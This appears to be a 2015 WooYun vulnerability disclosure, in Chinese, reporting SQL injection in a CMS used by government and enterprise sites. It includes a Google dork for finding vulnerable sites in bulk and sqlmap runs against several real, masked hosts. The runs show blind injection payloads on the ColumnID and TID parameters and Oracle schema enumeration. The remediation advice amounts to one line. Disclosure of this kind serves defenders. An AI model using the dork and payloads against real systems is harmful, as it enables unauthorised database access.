当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0155889

漏洞标题:国内某政企机构通用程序存在sql注入

相关厂商:其他

漏洞作者: 路人甲

提交时间:2015-11-26 12:26

修复时间:2015-12-17 14:48

公开时间:2015-12-17 14:48

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-26: 细节已通知厂商并且等待厂商处理中
2015-11-30: 厂商已经确认,细节仅向厂商公开
2015-12-03: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航
2016-01-24: 细节向核心白帽子及相关领域专家公开
2016-02-03: 细节向普通白帽子公开
2016-02-13: 细节向实习白帽子公开
2015-12-17: 细节向公众公开

简要描述:

RT

详细说明:

谷歌批量化:inurl:webapp/preview.jsp?ColumnID=
插图

bugTest.png


漏洞证明:

C:\Users\dark3r>sqlmap.py -u "http://**.**.**.**/cms/webapp/preview.j
?ColumnID=158&TID=20130816133549129164353" --batch --dbms=oracle
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150831}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutu
consent is illegal. It is the end user's responsibility to obey all applicabl
local, state and federal laws. Developers assume no liability and are not resp
sible for any misuse or damage caused by this program
[*] starting at 10:51:31
[10:51:31] [INFO] testing connection to the target URL
[10:51:33] [INFO] heuristics detected web page charset 'ISO-8859-2'
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: ColumnID (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: ColumnID=158 AND 6637=6637&TID=20130816133549129164353
---
[10:51:34] [INFO] the back-end DBMS is Oracle
web application technology: Apache 2.2.22, JSP
back-end DBMS: Oracle
[10:51:35] [INFO] fetched data logged to text files under 'C:\Users\dark3r\.sqlmap\output\**.**.**.**'
[*] shutting down at 10:51:35


2.

d:\Desktop>sqlmap.py -u "http://**.**.**.**/cms/webapp/preview.jsp?ColumnID=921&
TID=20151124093417625381441" --batch --dbms=oracle
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150831}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 19:26:03
[19:26:03] [INFO] testing connection to the target URL
[19:26:04] [INFO] heuristics detected web page charset 'ISO-8859-2'
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: TID (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: ColumnID=921&TID=20151124093417625381441' AND 4096=4096 AND 'Sjmn'=
'Sjmn
---
[19:26:05] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
[19:26:05] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\**.**.**.**'


C:\Users\dark3r>sqlmap.py -u "http://**.**.**.**/cms/webapp/preview.jsp
?ColumnID=1250000790&TID=20140228062128071747515" --batch --dbms=oracle --dbs
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150514}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 10:50:44
[10:50:44] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: ColumnID (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: ColumnID=1250000790 AND 8525=8525&TID=20140228062128071747515
---
[10:50:46] [INFO] the back-end DBMS is Oracle
web application technology: Servlet 2.5, JSP, JSP 2.1
back-end DBMS: Oracle
[10:50:46] [WARNING] schema names are going to be used on Oracle for enumeration
as the counterpart to database names on other DBMSes
[10:50:46] [INFO] fetching database (schema) names
[10:50:46] [INFO] fetching number of databases
[10:50:46] [INFO] resumed: 4
[10:50:46] [INFO] resumed: SYS
[10:50:46] [INFO] resumed: SYSTEM
[10:50:46] [INFO] resumed: ZS_CMS
[10:50:46] [INFO] resumed: ZS_SCORE
available databases [4]:
[*] SYS
[*] SYSTEM
[*] ZS_CMS
[*] ZS_SCORE
[10:50:46] [INFO] fetched data logged to text files under 'C:\Users\dark3r\.sqlm
ap\output\**.**.**.**'


C:\Users\dark3r>sqlmap.py -u "http://**.**.**.**/bjutCms/cms/webapp/preview.
jsp?ColumnID=9&TID=20150529110217599213810" --dbms=oracle --batch --dbs
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150514}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 10:50:52
[10:50:52] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: TID (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: ColumnID=9&TID=20150529110217599213810' AND 5029=5029 AND 'ZqpK'='Z
qpK
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: ColumnID=9&TID=20150529110217599213810' AND 9044=DBMS_PIPE.RECEIVE_
MESSAGE(CHR(116)||CHR(78)||CHR(121)||CHR(108),5) AND 'Ouqv'='Ouqv
---
[10:50:52] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
[10:50:52] [WARNING] schema names are going to be used on Oracle for enumeration
as the counterpart to database names on other DBMSes
[10:50:52] [INFO] fetching database (schema) names
[10:50:52] [INFO] fetching number of databases
[10:50:52] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[10:50:52] [INFO] retrieved:
[10:50:53] [WARNING] reflective value(s) found and filtering out
18
[10:50:55] [INFO] retrieved: BJUTCMS
[10:51:14] [INFO] retrieved: BJUTCMSTEST
[10:51:41] [INFO] retrieved: CTXSYS
[10:51:57] [INFO] retrieved: DBSNMP
[10:52:13] [INFO] retrieved: DMSYS
[10:52:27] [INFO] retrieved: EXFSYS
[10:52:43] [INFO] retrieved: LUNTAN
[10:52:59] [INFO] retrieved: MDSYS
[10:53:12] [INFO] retrieved: OLAPSYS
[10:53:31] [INFO] retrieved: ORDSYS
[10:53:47] [INFO] retrieved: OUTLN
[10:54:00] [INFO] retrieved: SCOTT
[10:54:14] [INFO] retrieved: SYS
[10:54:23] [INFO] retrieved: SYSMAN
[10:54:39] [INFO] retrieved: SYSTEM
[10:54:55] [INFO] retrieved: TSMSYS
[10:55:11] [INFO] retrieved: WMSYS
[10:55:25] [INFO] retrieved: XDB
available databases [18]:
[*] BJUTCMS
[*] BJUTCMSTEST
[*] CTXSYS
[*] DBSNMP
[*] DMSYS
[*] EXFSYS
[*] LUNTAN
[*] MDSYS
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] SCOTT
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TSMSYS
[*] WMSYS
[*] XDB
[10:55:34] [INFO] fetched data logged to text files under 'C:\Users\dark3r\.sqlm
ap\output\**.**.**.**'

修复方案:

过滤参数

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2015-11-30 11:01

厂商回复:

CNVD确认并复现所述情况,暂未建立与软件生产厂商的直接处置渠道,涉及案例已经转由CNCERT按照以往的联系渠道,向相关部门通报。

最新状态:

暂无


漏洞评价:

评价